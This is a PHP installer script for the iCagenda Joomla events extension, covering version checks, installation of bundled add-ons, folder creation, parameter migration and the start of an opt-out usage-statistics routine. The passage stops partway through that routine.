			<div style="color:#333; margin-top: 5px; font-size: 0.8em; line-height:14px; height:30px;">
				<a href="http://www.youtube.com/user/iCagenda" target="_blank"><img src='../media/com_icagenda/images/youtube_iCagenda.png' style='vertical-align:bottom;' /></a> : <a href="http://www.youtube.com/user/iCagenda" target="_blanck"><?php echo JText::_('COM_ICAGENDA_VIDEO_TUTORIALS');?></a>
			</div>
			<br />
			</div>
			<?php
		}

		// Show the essential information at the install/update back-end
		echo '<br /><p style="font-size: 10px">' . JText::_('COM_ICAGENDA_INSTALL_THIS_RELEASE') . '<b> '.$this->release.'</b>';
		if ( $type == 'update' ) {
			echo '<br />'.JText::_('COM_ICAGENDA_INSTALL_CACHE_VERSION') . '<b> '.$this->getParam('version').'</b>';
		}
		echo '<br />'.JText::_('COM_ICAGENDA_INSTALL_MINIMUM_JOOMLA_VERSION') . '<b> '.$this->minimum_joomla_release.'</b>';
		echo '<br />'.JText::_('COM_ICAGENDA_INSTALL_CURRENT_JOOMLA_VERSION') . '<b> '.$jversion->getShortVersion().'</b><br /><br />';

		// Abort if the current Joomla release is older
		if (version_compare($jversion->getShortVersion(), $this->minimum_joomla_release, 'lt'))
		{
			Jerror::raiseWarning(null, ' ' . JText::_('COM_ICAGENDA_INSTALL_ERROR_JOOMLA_VERSION') . ' ' . $this->minimum_joomla_release);

			return false;
		}

		// Abort if Joomla 3 release is prior to 3.2.3
		if (version_compare(JVERSION, '3.0.0', 'ge')
			&& version_compare(JVERSION, '3.2.3', 'lt'))
		{
			JFactory::getApplication()->enqueueMessage(JText::_('COM_ICAGENDA_INSTALL_ERROR_JOOMLA_VERSION') . ' ' . '3.2.3', 'error');

			return false;
		}


		// Abort if the component being installed is not newer than the currently installed version
		if ($type == 'update')
		{
			echo '<span style="text-transform:uppercase; font-size: 14px"><b>' . JText::_('COM_ICAGENDA') . ' : ' . JText::_('COM_ICAGENDA_UPDATE') . ' ' . $this->release . ' !</b></span><br><br>';
			$oldRelease = $this->getParam('version');
			$rel = ' ' . $oldRelease . ' to ' . $this->release;
//			if ( version_compare( $this->release, $oldRelease, 'le' ) ) {
//				Jerror::raiseWarning(null, ' ' . JText::_('COM_ICAGENDA_INSTALL_INCORRECT_VERSION') . ' ' . $rel);
//				return false;
//			}

		}
		else
		{
			$rel = $this->release;
		}

//		echo '<span style="text-transform:uppercase; font-size: 8px">' . JText::_('COM_ICAGENDA_PREFLIGHT_') . ': ' . $type . $rel . ' | </span>';
	}

	/*
	 * $parent is the class calling this method.
	 * install runs after the database scripts are executed.
	 * If the extension is new, the install method is run.
	 * If install returns false, Joomla will abort the install and undo everything already done.
	 */
	function install( $parent )
	{
		// Load language
		JFactory::getLanguage()->load('com_installer', JPATH_ADMINISTRATOR);
		$module_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_MODULE' );
		$plugin_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_PLUGIN' );
		$library_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_LIBRARY' );

		// Addons install (library, modules, plugins)
		$db = JFactory::getDbo();
		$manifest = $parent->get("manifest");
		$parent = $parent->getParent();
		$source = $parent->getPath("source");
		$installer = new JInstaller();
		$installLibraries = array();
		$installModules = array();
		$installPlugins = array();
		echo '<div><i>'.JText::_('JTOOLBAR_INSTALL').'</i></div>';

        // Proceed Libraries Install
		if (is_object($manifest->libraries) && isset($manifest->libraries->library))
		{
			foreach($manifest->libraries->library as $library)
			{
				$attributes = $library->attributes();
				$lib = $source.'/'.$attributes['folder'].'/'.$attributes['library'];
				$installer->install($lib);
				$installLibraries[] =  $attributes['library'];
				$installed_lib = '<b>'.$attributes['name'].'</b>';
				echo '<div><span style="color:blue">['.$library_type.']</span> '.JText::sprintf( 'COM_INSTALLER_INSTALL_SUCCESS', $installed_lib ).' &#8680; <span style="color:green"><b>'.JText::_( 'JPUBLISHED' ).'</b></span></div>';
			}
		}

        // Proceed Modules Install
		if (is_object($manifest->modules) && isset($manifest->modules->module))
		{
         foreach($manifest->modules->module as $module)
			{
				$attributes = $module->attributes();
				$mod = $source.'/'.$attributes['folder'].'/'.$attributes['module'];
				$installer->install($mod);
				$installed_mod = '<b>'.$attributes['name'].'</b>';
				echo '<div><span style="color:blue">['.$module_type.']</span> '.JText::sprintf( 'COM_INSTALLER_INSTALL_SUCCESS', $installed_mod ).' &#8680; <span style="color:red"><b>'.JText::_( 'JUNPUBLISHED' ).'</b></span></div>';
            }
        }

        // Proceed Plugins Install
		$this->_installAddons($parent, $source);

		echo '<br /><br />';

//		echo '<span style="text-transform:uppercase; font-size: 8px"><b>' . JText::_('COM_ICAGENDA_INSTALL') . $this->release . '</b> | </span>';
		// You can have the backend jump directly to the newly installed component configuration page
		// $parent->getParent()->setRedirectURL('index.php?option=com_democompupdate');


		// Get Joomla Images PATH setting
		$params = JComponentHelper::getParams('com_media');
		$image_path = $params->get('image_path');

		// Create Folder iCagenda in ROOT/IMAGES_PATH/icagenda
		$folder[0][0]	=	'icagenda/' ;
		$folder[0][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[0][0];
		$folder[1][0]	=	'icagenda/files/';
		$folder[1][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[1][0];
		$folder[2][0]	=	'icagenda/thumbs/';
		$folder[2][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[2][0];
		$folder[3][0]	=	'icagenda/thumbs/system/';
		$folder[3][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[3][0];
		$folder[4][0]	=	'icagenda/thumbs/themes/';
		$folder[4][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[4][0];
		$folder[5][0]	=	'icagenda/thumbs/copy/';
		$folder[5][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[5][0];
		$folder[6][0]	=	'icagenda/feature_icons/';
		$folder[6][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[6][0];
		$folder[7][0]	=	'icagenda/feature_icons/16_bit';
		$folder[7][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[7][0];
		$folder[8][0]	=	'icagenda/feature_icons/24_bit';
		$folder[8][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[8][0];
		$folder[9][0]	=	'icagenda/feature_icons/32_bit';
		$folder[9][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[9][0];
		$folder[10][0]	=	'icagenda/feature_icons/48_bit';
		$folder[10][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[10][0];
		$folder[11][0]	=	'icagenda/feature_icons/64_bit';
		$folder[11][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folder[11][0];


		$message = '<div><i>'.JText::_('COM_ICAGENDA_FOLDER_CREATION').'</i></div>';
		$error	 = array();
		foreach ($folder as $key => $value)
		{
			if (!JFolder::exists( $value[1]))
			{
				if (JFolder::create( $value[1], 0755 ))
				{

					$data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
					JFile::write($value[1]."/index.html", $data);
					$message .= '<div><b><span style="color:#009933">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#009933">'.JText::_('COM_ICAGENDA_CREATED').'</span></b></div>';
					$error[] = 0;
				}
				else
				{
					$message .= '<div><b><span style="color:#CC0033">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#CC0033">'.JText::_('COM_ICAGENDA_CREATION_FAILED').'</span></b> '.JText::_('COM_ICAGENDA_PLEASE_CREATE_MANUALLY').'</div>';
					$error[] = 1;
				}
			}
			else//Folder exist
			{
				$message .= '<div><b><span style="color:#009933">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#009933">'.JText::_('COM_ICAGENDA_EXISTS').'</span></b></div>';
				$error[] = 0;
			}
		}

		$message.= '<br /><br />';
		echo $message;


	}

	/*
	 * $parent is the class calling this method.
	 * update runs after the database scripts are executed.
	 * If the extension exists, then the update method is run.
	 * If this returns false, Joomla will abort the update and undo everything already done.
	 */
	function update( $parent )
	{
		// Load language
		JFactory::getLanguage()->load('com_installer', JPATH_ADMINISTRATOR);
		$module_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_MODULE' );
		$plugin_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_PLUGIN' );
		$library_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_LIBRARY' );

		// Addons update (library, modules, plugins)
		$db = JFactory::getDbo();
		$manifest = $parent->get("manifest");
		$parent = $parent->getParent();
		$source = $parent->getPath("source");
		$installer = new JInstaller();
		$installLibraries = array();
		$installModules = array();
		$installPlugins = array();
		echo '<div><i>'.JText::_('COM_INSTALLER_TOOLBAR_UPDATE').'</i></div>';

		// Pre-test iC Library
		$query	= $db->getQuery(true);
		$query->select('p.enabled')
			->from('`#__extensions` AS p')
			->where($db->qn('type').' = '.$db->q('library'))
			->where($db->qn('element').' = '.$db->q('lib_ic_library'));
		$db->setQuery($query);
		$ic_library_ok = $db->loadResult();

		// Proceed Libraries Update
		if (is_object($manifest->libraries) && isset($manifest->libraries->library))
		{
			foreach($manifest->libraries->library as $library)
			{
				$attributes = $library->attributes();
				$lib = $source.'/'.$attributes['folder'].'/'.$attributes['library'];
				$installer->install($lib);
				$element = $attributes['element'];
				$installLibraries[] =  $attributes['library'];
				$installed_lib = '<b>'.$attributes['name'].'</b>';
				if (($ic_library_ok == '1') AND ($element == 'lib_ic_library'))
				{
					echo '<div><span style="color:orange">['.$library_type.']</span> '.JText::sprintf( 'COM_INSTALLER_MSG_UPDATE_SUCCESS', $installed_lib ).' </div>';
				}
				else
				{
					echo '<div><span style="color:orange">['.$library_type.']</span> '.JText::sprintf( 'COM_INSTALLER_INSTALL_SUCCESS', $installed_lib ).' &#8680; <span style="color:green"><b>'.JText::_( 'JPUBLISHED' ).'</b></span></div>';
				}
			}
		}

        // Proceed Modules Update
		if (is_object($manifest->modules) && isset($manifest->modules->module))
		{
         foreach($manifest->modules->module as $module)
			{
				$attributes = $module->attributes();
				$mod = $source.'/'.$attributes['folder'].'/'.$attributes['module'];
				$installer->install($mod);
				$installModules[] =  $attributes['module'];
				$installed_mod = '<b>'.$attributes['name'].'</b>';

				echo '<div><span style="color:red">['.$module_type.']</span> '.JText::sprintf( 'COM_INSTALLER_MSG_UPDATE_SUCCESS', $installed_mod ).' </div>';
            }
        }

        // Proceed Plugins Update
		$this->_installAddons($parent, $source);

		echo '<br /><br />';

//		echo '<span style="text-transform:uppercase; font-size: 8px">' . JText::_('COM_ICAGENDA_UPDATE') . $this->release . ' | </span>';
		// You can have the backend jump directly to the newly updated component configuration page
		// $parent->getParent()->setRedirectURL('index.php?option=com_democompupdate');


		// Get Joomla Images PATH setting
		$params = JComponentHelper::getParams('com_media');
		$image_path = $params->get('image_path');

		// Create Folder iCagenda in ROOT/IMAGES_PATH/icagenda
		$folderimg[0][0]	=	'icagenda/' ;
		$folderimg[0][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[0][0];
		$folderimg[1][0]	=	'icagenda/files/';
		$folderimg[1][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[1][0];
		$folderimg[2][0]	=	'icagenda/thumbs/';
		$folderimg[2][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[2][0];
		$folderimg[3][0]	=	'icagenda/thumbs/system/';
		$folderimg[3][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[3][0];
		$folderimg[4][0]	=	'icagenda/thumbs/themes/';
		$folderimg[4][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[4][0];
		$folderimg[5][0]	=	'icagenda/thumbs/copy/';
		$folderimg[5][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[5][0];
		$folderimg[6][0]	=	'icagenda/feature_icons/';
		$folderimg[6][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[6][0];
		$folderimg[7][0]	=	'icagenda/feature_icons/16_bit';
		$folderimg[7][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[7][0];
		$folderimg[8][0]	=	'icagenda/feature_icons/24_bit';
		$folderimg[8][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[8][0];
		$folderimg[9][0]	=	'icagenda/feature_icons/32_bit';
		$folderimg[9][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[9][0];
		$folderimg[10][0]	=	'icagenda/feature_icons/48_bit';
		$folderimg[10][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[10][0];
		$folderimg[11][0]	=	'icagenda/feature_icons/64_bit';
		$folderimg[11][1]	= 	JPATH_ROOT.'/'.$image_path.'/'.$folderimg[11][0];


		$message = '<div><i>'.JText::_('COM_ICAGENDA_FOLDER_CREATION').'</i></div>';
		$error	 = array();
		foreach ($folderimg as $key => $value)
		{
			if (!JFolder::exists( $value[1]))
			{
				if (JFolder::create( $value[1], 0755 ))
				{

					$data = "<html>\n<body bgcolor=\"#FFFFFF\">\n</body>\n</html>";
					JFile::write($value[1]."/index.html", $data);
					$message .= '<div><b><span style="color:#009933">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#009933">'.JText::_('COM_ICAGENDA_CREATED').'</span></b></div>';
					$error[] = 0;
				}
				else
				{
					$message .= '<div><b><span style="color:#CC0033">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#CC0033">'.JText::_('COM_ICAGENDA_CREATION_FAILED').'</span></b> '.JText::_('COM_ICAGENDA_PLEASE_CREATE_MANUALLY').'</div>';
					$error[] = 1;
				}
			}
			else//Folder exist
			{
				$message .= '<div><b><span style="color:#009933">'.JText::_('COM_ICAGENDA_FOLDER').'</span> ' . $image_path.'/'.$value[0]
							   .' <span style="color:#009933">'.JText::_('COM_ICAGENDA_EXISTS').'</span></b></div>';
				$error[] = 0;
			}
		}

		$message.= '<br /><br />';

		echo $message;
	}


	/**
	 * Installs subextensions (modules, plugins) bundled with the main extension
	 * NOTE: Currently installing only plugins (3.4.0-alpha). Modules install to be added later.
	 *
	 * @param JInstaller $parent
	 *
	 * @return JObject The subextension installation status
	 */
	private function _installAddons($parent, $source)
	{
		// Load language
		JFactory::getLanguage()->load('com_installer', JPATH_ADMINISTRATOR);
		$module_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_MODULE' );
		$plugin_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_PLUGIN' );
		$library_type = JText::_( 'COM_INSTALLER_TYPE_TYPE_LIBRARY' );

		$db = JFactory::getDbo();

		/*
		 * PLUGINS UPDATE
		 */

		// Pre-test if AutoLogin plugin is already installed
		$db->setQuery('SELECT `extension_id` FROM #__extensions WHERE `type` = "plugin" AND `element` = "ic_autologin" AND `folder` = "system"');
		$ic_autologin_ok = $db->loadResult();

		// Pre-test if iCagenda search plugin is already installed
		$db->setQuery('SELECT `extension_id` FROM #__extensions WHERE `type` = "plugin" AND `element` = "icagenda" AND `folder` = "search"');
		$search_ok = $db->loadResult();

		// Pre-test if iC Library plugin is already installed
		$db->setQuery('SELECT `extension_id` FROM #__extensions WHERE `type` = "plugin" AND `element` = "ic_library" AND `folder` = "system"');
		$plg_ic_library_ok = $db->loadResult();

		$status = new JObject();
		$status->plugins = array();


		// Plugins installation
		if (count($this->installation_queue['plugins']))
		{
			foreach ($this->installation_queue['plugins'] as $folder => $plugins)
			{
				if (count($plugins))
				{
					foreach ($plugins as $plugin => $pluginPreferences)
					{
						$path = "$source/plugins/$folder/$plugin";

						if (!is_dir($path))
						{
							$path = "$source/plugins/$folder/plg_$plugin";
						}

						if (!is_dir($path))
						{
							$path = "$source/plugins/$plugin";
						}

						if (!is_dir($path))
						{
							$path = "$source/plugins/plg_$plugin";
						}

						if (!is_dir($path))
						{
							continue;
						}

						// Was the plugin already installed?
						$query = $db->getQuery(true)
							->select('COUNT(*)')
							->from($db->qn('#__extensions'))
							->where($db->qn('element') . ' = ' . $db->q($plugin))
							->where($db->qn('folder') . ' = ' . $db->q($folder));
						$db->setQuery($query);

						try
						{
							$count = $db->loadResult();
						}
						catch (Exception $exc)
						{
							$count = 0;
						}

						$installer = new JInstaller;
						$result = $installer->install($path);

						$status->plugins[] = array('name' => 'plg_' . $plugin, 'group' => $folder, 'result' => $result);

						list($pluginName, $pluginPublished) = $pluginPreferences;

						if ($pluginPublished && !$count)
						{
							$query = $db->getQuery(true)
								->update($db->qn('#__extensions'))
								->set($db->qn('enabled') . ' = ' . $db->q('1'))
								->where($db->qn('element') . ' = ' . $db->q($plugin))
								->where($db->qn('folder') . ' = ' . $db->q($folder));
							$db->setQuery($query);

							try
							{
								$db->execute();
							}
							catch (Exception $exc)
							{
								// Nothing
							}
						}

						$pluginName = '<strong>'.$pluginName.'</strong>';

						if ($ic_autologin_ok && ($plugin == 'ic_autologin'))
						{
							echo '<div><span style="color:blue">['.$plugin_type.']</span> '.JText::sprintf( 'COM_INSTALLER_MSG_UPDATE_SUCCESS', $pluginName ).' </div>';
						}
						elseif ($search_ok && ($plugin == 'icagenda'))
						{
							echo '<div><span style="color:blue">['.$plugin_type.']</span> '.JText::sprintf( 'COM_INSTALLER_MSG_UPDATE_SUCCESS', $pluginName ).' </div>';
						}
						elseif ($plg_ic_library_ok && ($plugin == 'ic_library'))
						{
							echo '<div><span style="color:blue">['.$plugin_type.']</span> '.JText::sprintf( 'COM_INSTALLER_MSG_UPDATE_SUCCESS', $pluginName ).' </div>';
						}
						else
						{
							echo '<div><span style="color:blue">['.$plugin_type.']</span> '.JText::sprintf( 'COM_INSTALLER_INSTALL_SUCCESS', $pluginName ).' &#8680; <span style="color:green"><b>'.JText::_( 'JPUBLISHED' ).'</b></span></div>';
						}
					}
				}
			}
		}

		return $status;
	}


	/*
	 * $parent is the class calling this method.
	 * $type is the type of change (install, update or discover_install, not uninstall).
	 * postflight is run after the extension is registered in the database.
	 */
	function postflight( $type, $parent )
	{
		$this->release = $parent->get( "manifest" )->version;
		$oldRelease = $this->getParam('version');
		$icparams = JComponentHelper::getParams('com_icagenda');
		$oldSys = $icparams->get('icsys');

		// Fix old versions created date missing (runs if version previously installed is before 3.3.7)
		// update database to set a valid created date for events created with versions of iCagenda < 3.1.5,
		// and set in this order : modified date if valid or next/last date if valid or, at the end, will use current date.
		// (this fix is to prevent wrong 'Created on 30 November -0001' in search results)
		if ( version_compare( $oldRelease, '3.3.7', 'le' ) )
		{
			$db = JFactory::getDbo();
			$date = JFactory::getDate();
			$null_created = '0000-00-00 00:00:00';

			$query = $db->getQuery(true);
			$query->select('e.id, e.created, e.modified, e.next')
				->from('`#__icagenda_events` AS e')
				->where($db->qn('e.created').' = '.$db->q($null_created));
			$db->setQuery($query);
			$list_created_null = $db->loadObjectList();

			foreach ($list_created_null AS $cn)
			{
				if ($cn->modified != $null_created)
				{
					$new_created = $cn->modified;
				}
				elseif ($cn->next != $null_created)
				{
					$new_created = $cn->next;
				}
				else
				{
					$new_created = $date->toSql();
				}
				$query = $db->getQuery(true)
					->update($db->qn('#__icagenda_events'))
					->set($db->qn('created').' = '.$db->q($new_created))
					->where($db->qn('id').' = '.intval($cn->id));
				$db->setQuery($query);
				$db->execute();
			}
		}

		// Remove obsolete files and folders
		$icagendaRemoveFiles = $this->icagendaRemoveFiles;

		$this->_removeObsoleteFilesAndFolders($icagendaRemoveFiles);

		// always create or modify these parameters
		$params['version'] = ' PRO <b style="font-size:0.5em;">v ' . $this->release . '</b>';
		$params['release'] = $this->release;
		$params['author'] = 'JoomliC';
		$params['icsys'] = 'pro';
		if ($oldSys == 'core') $params['copy'] = NULL;

		// define the following parameters only if it is an original install
		if ( $type == 'install' ) {
			$params['copy'] = NULL;
			$params['atlist'] = '1';
			$params['atevent'] = '1';
			$params['atfloat'] = '2';
			$params['aticon'] = '2';
			$params['arrowtext'] = '1';
			$params['statutReg'] = '1';
			$params['maxRlist'] = '5';
			$params['navposition'] = '0';
			$params['targetLink'] = '1';
			$params['participantList'] = '1';
			$params['participantSlide'] = '1';
			$params['participantDisplay'] = '1';
			$params['fullListColumns'] = 'tiers';
			$params['regEmailUser'] = '1';
			$params['timeformat'] = '1';
			$params['ShortDescLimit'] = '100';
			$params['limitRegEmail'] = '1';
			$params['limitRegDate'] = '1';
			$params['phoneRequired'] = '2';
			$params['headerList'] = '1';
		}

		if ( version_compare( $oldRelease, '1.2.9', 'le' ) ) {
			$params['statutReg'] = '1';
			$params['maxRlist'] = '5';
			$params['navposition'] = '0';
			$params['targetLink'] = '1';
			$params['participantList'] = '1';
			$params['participantSlide'] = '1';
			$params['participantDisplay'] = '1';
			$params['fullListColumns'] = 'tiers';
			$params['regEmailUser'] = '1';
			$params['timeformat'] = '1';
		}

		if ( version_compare( $oldRelease, '2.0.6', 'le' ) ) {
			$params['navposition'] = '0';
			$params['targetLink'] = '1';
			$params['participantList'] = '1';
			$params['participantSlide'] = '1';
			$params['participantDisplay'] = '1';
			$params['fullListColumns'] = 'tiers';
			$params['regEmailUser'] = '1';
			$params['timeformat'] = '1';
		}

		if ( version_compare( $oldRelease, '2.1.1', 'le' ) ) {
			$params['limitRegEmail'] = '1';
			$params['limitRegDate'] = '1';
			$params['phoneRequired'] = '2';
			$params['headerList'] = '1';
		}

		if ( version_compare( $oldRelease, '3.0', 'le' ) ) {
			$params['bootstrapType'] = '1';
		}

		if ( version_compare( $oldRelease, '3.1.0', 'lt' ) ) {
			$params['emailRequired'] = '1';
		}

		// Updating Params to ensure a correct value
		jimport('joomla.application.component.helper'); // Import component helper library
		$icagendaParams = JComponentHelper::getParams('com_icagenda');

		$extparticipantList		= $icagendaParams->get('participantList');
		$extparticipantSlide	= $icagendaParams->get('participantSlide');
		$extstatutReg			= $icagendaParams->get('statutReg');
		$extlimitRegEmail		= $icagendaParams->get('limitRegEmail');
		$extlimitRegDate		= $icagendaParams->get('limitRegDate');
		$extphoneRequired		= $icagendaParams->get('phoneRequired');
		$extregEmailUser		= $icagendaParams->get('regEmailUser');
		$largewidththreshold	= $icagendaParams->get('largewidththreshold', '1201');
		$mediumwidththreshold	= $icagendaParams->get('mediumwidththreshold', '769');
		$smallwidththreshold	= $icagendaParams->get('smallwidththreshold', '481');

		$params['largewidththreshold']	= $largewidththreshold;
		$params['mediumwidththreshold']	= $mediumwidththreshold;
		$params['smallwidththreshold']	= $smallwidththreshold;

		if ($extparticipantList == '2') {
			$params['participantList'] = '0';
		}
		if ($extparticipantSlide == '2') {
			$params['participantSlide'] = '0';
		}
		if ($extstatutReg == '2') {
			$params['statutReg'] = '0';
		}
		if ($extlimitRegEmail == '2') {
			$params['limitRegEmail'] = '0';
		}
		if ($extlimitRegDate == '2') {
			$params['limitRegDate'] = '0';
		}
		if ($extphoneRequired == '2') {
			$params['phoneRequired'] = '0';
		}
		if ($extregEmailUser == '2') {
			$params['regEmailUser'] = '0';
		}

		// Update 3.1.1
		$emailRequired = $icagendaParams->get('emailRequired');

		if ($emailRequired == '')
		{
			$params['emailRequired'] = '1';
		}

		// Update 3.4.1
		$datesDisplay_global	= $icagendaParams->get('datesDisplay_global');
		$reg_captcha			= $icagendaParams->get('reg_captcha', '');
		$submit_captcha			= $icagendaParams->get('submit_captcha', '');
		$captcha				= $icagendaParams->get('captcha', '');

		if ($datesDisplay_global)
		{
			$params['datesDisplay'] = $datesDisplay_global;
		}

		if (in_array($reg_captcha, array('', '0'))
			&& in_array($submit_captcha, array('', '0'))
			)
		{
			$params['captcha'] = $captcha;
//			$params['captcha'] = JFactory::getApplication()->getCfg('captcha');
		}
		elseif (!in_array($reg_captcha, array('', '0', '1')))
		{
			$params['captcha'] = $reg_captcha;
		}
		elseif (!in_array($submit_captcha, array('', '0', '1')))
		{
			$params['captcha'] = $submit_captcha;
		}
		else
		{
			$params['captcha'] = $captcha;
		}

		$params['reg_captcha']		= (in_array($reg_captcha, array('', '0'))) ? '0' : '1';
		$params['submit_captcha']	= (in_array($submit_captcha, array('', '0'))) ? '0' : '1';

		// UPDATE PARAMS
		$this->setParams( $params );

		// Set default Access Permissions for iCagenda component
		$rules['core.manage']					= array('6' => 1);
		$rules['icagenda.access.categories']	= array('7' => 1);
		$rules['icagenda.access.events']		= array('6' => 1);
		$rules['icagenda.access.registrations']	= array('7' => 1);
		$rules['icagenda.access.newsletter']	= array('7' => 1);
		$rules['icagenda.access.themes']		= array('7' => 1);
		$rules['icagenda.access.customfields']	= array('7' => 1);
		$rules['icagenda.access.features']		= array('7' => 1);

		// UPDATE RULES
		$this->setRules( $rules );

		$this->clean();

		$sendSystemInfo = $this->getSystemInfo( $type, $parent );

		if ($sendSystemInfo)
		{
			echo $sendSystemInfo;
		}
	}


	/*
	 * $parent is the class calling this method
	 * uninstall runs before any other action is taken (file removal or database processing).
	 */
	function uninstall( $parent )
	{
		echo '<p>' . JText::_('COM_ICAGENDA_UNINSTALL') . '</p>';
	}


	/*
	 * get a variable from the manifest file (actually, from the manifest cache).
	 */
	function getParam( $name )
	{
		$db = JFactory::getDbo();
		$db->setQuery('SELECT manifest_cache FROM #__extensions WHERE element = "com_icagenda"');
		$manifest = json_decode( $db->loadResult(), true );
		return $manifest[ $name ];
	}


	/*
	 * sets parameter values in the component's row of the extension table
	 */
	function setParams( $param_array )
	{
		if ( count($param_array) > 0 )
		{
			// read the existing component value(s)
			$db = JFactory::getDbo();
			$db->setQuery('SELECT params FROM #__extensions WHERE element = "com_icagenda"');
			$params = json_decode( $db->loadResult(), true );
			// add the new variable(s) to the existing one(s)
			foreach ( $param_array as $name => $value )
			{
				$params[ (string) $name ] = (string) $value;
			}
			// store the combined new and existing values back as a JSON string
			$paramsString = json_encode( $params );
			$db->setQuery('UPDATE #__extensions SET params = ' .
				$db->quote( $paramsString ) .
				' WHERE element = "com_icagenda"' );
				$db->query();
		}
	}


	/*
	 * sets access permissions values (rules) in the component's row of the assets table
	 */
	function setRules( $rule_array )
	{
		if ( count($rule_array) > 0 )
		{
			// read the existing rules values
			$db = JFactory::getDbo();
			$db->setQuery('SELECT rules FROM #__assets WHERE name = "com_icagenda"');
			$rules = json_decode( $db->loadResult(), true );
			// add the new variable(s) to the existing one(s)
			foreach ( $rule_array as $name => $value )
			{
				if (!array_key_exists($name, $rules))
				{
					$rules[ (string) $name ] = (array) $value;
				}
			}
			// store the combined new and existing values back as a JSON string
			$rulesString = json_encode( $rules );
			$db->setQuery('UPDATE #__assets SET rules = ' .
				$db->quote( stripslashes($rulesString) ) .
				' WHERE name = "com_icagenda"' );
				$db->query();
		}
	}

	/**
	 * Purge the cache.
	 *
	 * @return  void
	 */
	public function purgeCache()
	{
		$app = JFactory::getApplication();

		$ret = $this->clean();

		$msg = JText::_('COM_ICAGENDA_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED');
		$msgType = 'message';

		if ($ret === false)
		{
			$msg = JText::_('COM_ICAGENDA_CACHE_EXPIRED_ITEMS_PURGING_ERROR');
			$msgType = 'error';
		}

		$app->redirect('index.php?option=com_icagenda&view=icagenda', $msg, $msgType);
	}

	/**
	 * Clean out a cache group as named by param.
	 * If no param is passed clean all cache groups.
	 *
	 * @param   string  $group  Cache group name.
	 *
	 * @return  void
	 */
	public function clean($group = '')
	{
		$cache = JFactory::getCache('');
		$cache->clean($group);
	}

	/**
	 * Send site system information
	 * Adapted from Nicholas K. Dionysopoulos's code (Akeeba - www.akeebabackup.com).
	 */
	public function getSystemInfo($type, $parent)
	{
		$this->release = $parent->get( "manifest" )->version;

		// Do not system info on localhost
		if ((strpos(JUri::root(), 'localhost') !== false)
			|| (strpos(JUri::root(), '127.0.0.1') !== false))
		{
			return false;
		}

		// Set site ID
		$siteId = md5(JUri::base());

		// If info file is missing, stop it!
		if ( ! file_exists(JPATH_ROOT . '/administrator/components/com_icagenda/assets/jcms/info.php'))
		{
			return false;
		}

		if ( ! class_exists('iCagendaSystemInfo', false))
		{
			require_once JPATH_ROOT . '/administrator/components/com_icagenda/assets/jcms/info.php';
		}

		if ( ! class_exists('iCagendaSystemInfo', false))
		{
			return false;
		}

		$params = JComponentHelper::getParams('com_icagenda');

		// Get system info is turned off
		if ( ! $params->get('system_info', 1))
		{
			return false;
		}

		$db = JFactory::getDbo();
		$stats = new iCagendaSystemInfo();

		$stats->setSiteId($siteId);

		// Get iCagenda release
		$ic_parts = explode('.', $this->release);
		$ic_major = $ic_parts[0];
		$ic_minor = isset($ic_parts[1]) ? $ic_parts[1] : '';
		$ic_revision = isset($ic_parts[2]) ? $ic_parts[2] : '';

		// Get PHP version
		list($php_major, $php_minor, $php_revision) = explode('.', phpversion());
		$php_qualifier = strpos($php_revision, '~') !== false ? substr($php_revision, strpos($php_revision, '~')) : '';

		// Get Joomla version
		list($cms_major, $cms_minor, $cms_revision) = explode('.', JVERSION);

		// Get Database version
		list($db_major, $db_minor, $db_revision) = explode('.', $db->getVersion());
		$db_qualifier = strpos($db_revision, '~') !== false ? substr($db_revision, strpos($db_revision, '~')) : '';

		// Get Database type
		$db_driver = get_class($db);

        if (stripos($db_driver, 'mysql') !== false)
        {
            $db_type = '1';
        }
        elseif (stripos($db_driver, 'sqlsrv') !== false || stripos($db_driver, 'sqlazure'))
        {
            $db_type = '2';
        }
        elseif (stripos($db_driver, 'postgresql') !== false)
        {
            $db_type = '3';
        }
        else
        {
            $db_type = '0';
        }

		$installtype	= ($type == 'install') ? '1' : '2';
		$ictype			= $this->ictype;

		$stats->setValue('ins', $installtype); // software_install

		// Version : major(x).minor(y).revision/patch(z)

